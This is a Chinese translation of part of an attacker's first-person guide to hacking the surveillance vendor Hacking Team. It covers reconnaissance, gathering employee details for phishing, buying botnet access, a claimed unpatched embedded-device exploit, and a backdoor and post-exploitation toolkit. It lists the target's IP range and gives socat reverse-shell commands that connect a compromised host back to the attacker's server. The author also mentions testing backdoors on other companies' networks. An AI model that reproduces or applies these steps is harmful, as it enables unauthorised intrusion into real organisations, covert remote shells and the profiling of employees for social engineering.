4 – 获取信息

尽管这有点乏味,但是过程很重要,当你的攻击面越大时,你越容易发现其中的漏洞。

4.1 – 技术信息

以下是一些常用的工具和技术:

1、 Google
如果查询语句使用的好的话,经常可以找到非常多有趣的信息。比如说,DPR的身份信息[1]。Google黑客的圣经就是”Google黑客渗透测试人员“这本书,你可以找到用西班牙语编写的简单摘要[2]。

2、 子域名枚举
通常,一个公司的主站都是由第三方来维护的。因此你可以借助于子域名如mx.company.com或ns1.company.com来找到这个公司的实际ip段。另外,有时也会暴露出由”隐藏“子域名导致的问题。发现域名和子域名的有效工具如fierce[3],theHarvester[4]和recon-ng[5]。

3、 Whois查询以及反查询
从一个公司的域名或IP中通过whois信息进行反查询,你可以找到其他的域名和IP段。据我所知,目前还没有开源的方式去做反查询,除了Google:
“via della moscova 13” site:www.findip-address.com
 “via della moscova 13” site:domaintools.com

4、 端口扫描和服务识别
不像其他的技术,这个主要针对公司的服务器而言。我把它放在这一部分是因为它并不是一种攻击,只是信息的获取。公司的IDS可能会产生一个警报,但是不要担心因为整个网段都要经常被扫。

对于扫描而言,nmap[6]是非常准确的,而且可以识别出大部分的服务。对于拥有大IP段的公司而言,zmap[7]或者masscan[8]是快速的工具。而WhatWeb[9]或BlindElemphant[10]可以扫描web站点。

[1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
[2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
[3] http://ha.ckers.org/fierce/
[4] https://github.com/laramies/theHarvester
[5] https://bitbucket.org/LaNMaSteR53/recon-ng
[6] https://nmap.org/
[7] https://zmap.io/
[8] https://github.com/robertdavidgraham/masscan
[9] http://www.morningstarsecurity.com/research/whatweb
[10] http://blindelephant.sourceforge.net/

4.2 – 社交信息

对于社交工程来说,获取雇员的个人信息是很有用的,比如说他们的职业,联系方式,使用的操作系统,浏览器,插件以及软件等信息。可能的资源如下:

1、 Google
在这里,Google仍然是最有用的工具之一。

2、theHarvester和recon-ng
在前一部分我已经提到过它们,但是它们具有更多的功能。比如可以很快地自动获取到大量的信息。阅读完它们的文档是十分有必要的。

3、LinkedIn
关于职员的大部分信息可以在这里找到。公司的招聘人员很有可能会接受你的好友请求。

4、Data.com
前身为jigsaw,它有非常多的职员的联系方式信息。

5、File Metadata
在公司发布的文档元信息中可以找到很多关于雇员和他们系统的一些信息。能够帮助获取公司网站上文件信息并提取元数据的工具如metagoofil[1]和FOCA[2]。

[1] https://github.com/laramies/metagoofil
[2] https://www.elevenpaths.com/es/labstools/foca-2/index.html

5 – 进入网络

有很多方法可以获取到一个立足点。因为我用来对付黑客团队的方法并不常见,而且我通常会做比需要更多的工作。因此我会讨论一下这两种最常见的方式,我建议先尝试第一个。

5.1 – 社交工程

社交工程,特别是钓鱼式攻击,构成了如今黑客活动的主体。如果想看下钓鱼攻击的介绍,可以参考[1]。如果想获取更多的信息,可以参考[2](第三部分,“Targeted Attacks”)。想知道关于过去几代社交工程攻击的趣事,可以参考[3]。我不想对黑客团队进行钓鱼攻击,因为他们的主要业务就是帮助政府对反对者进行钓鱼攻击,所以他们很容易就能识别出钓鱼攻击。

[1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
[2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
[3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf

5.2 – 购买访问
感谢辛勤的俄罗斯人以及他们的开发工具,流量卖家和僵尸牧人,许多公司的网络中都存在着被感染的计算机。几乎所有的财富500强企业,在它们巨大的网络中,都有一些僵尸主机在里面。然而,黑客团队是一个很小的公司,而且绝大多数的职员都是信息安全专家,因此被攻破的概率很低。

5.3 – 技术开发

在Gamma集团攻击后,我描述了寻找漏洞的整个过程[1]。黑客团队具有一个公共的IP段:
inetnum:        93.62.139.32 – 93.62.139.47
descr:          HT public subnet

黑客团队很少暴露端口给外网。比如说,不像Gamma集团,他们的客户支持网站需要客户端验证才能连接。而它既包括了主站(一个Joomla的博客但Joomscan[2]并没有找到严重的漏洞),邮件服务器,数个路由器,两个VPN应用和一个垃圾邮件过滤器。所以我有三个选择:在Joomla中寻找0day漏洞,在postfix中寻找0day或者在一个嵌入式设备中寻找0day。在嵌入式设备中寻找0day貌似是最简单的方法,在两个星期的逆向工程之后,我获取了远程的root权限。由于这个漏洞仍然没有被打patch,因而我不会透露过多的信息,但是要想获取此类的攻击信息,可以参考[3]和[4]。

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] http://sourceforge.net/projects/joomscan/
[3] http://www.devttys0.com/
[4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A

6 – 做好准备

在应对黑客团队之前我做了大量的工作和测试。针对嵌入式设备编写了一个后门软件并且编译了各种post-exploitation工具。后门主要是用来保护攻击。渗透一次之后就会通过后门返回,所以很难去识别并针对攻击进行patch。

我所准备的post-exploitation工具如下:

1、busybox
所有标准的unix实用工具都没有。

2、nmap
扫描并识别出黑客团队的内网。

3、Responder.py
当你能访问内网时,这是最好的攻击windows网络的工具。

4、Python
为了执行responder.py。

5、tcpdump
为了嗅探网络。

6、dsniff
为了嗅探出文本协议如ftp的密码或者做arpspoofing。我本来想用ettercap,它是由黑客团队自己编写的,但是比较难编译完成。

7、socat
带有pty的舒适的shell:
my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
hacked box: socat exec:”bash -li”,pty,stderr,setsid,sigint,sane
tcp:my_server:my_port
并且非常的有用,它是网络中的瑞士军刀。可以在它的官方文档中查看更多的例子。

8、screen
带pty的shell并非是必需的,我更想在黑客团队的网络中享受到家的感觉。

9、一个SOCKS代理服务器
可以从任意应用中通过代理链访问他们的内部网络。

10、tgcd
为了出去的端口如SOCKS服务器可以通过防火墙。

[1] https://www.busybox.net/
[2] https://nmap.org/
[3] https://github.com/SpiderLabs/Responder
[4] https://github.com/bendmorris/static-python
[5] http://www.tcpdump.org/
[6] http://www.monkey.org/~dugsong/dsniff/
[7] http://www.dest-unreach.org/socat/
[8] https://www.gnu.org/software/screen/
[9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
[10] http://tgcd.sourceforge.net/

可能发生的最糟糕的事情就是我的后门或post-exploitation会引起系统不稳定,导致他们发现到异常。所以我花费了数周在其他的公司网络中来测试我的程序和后门等。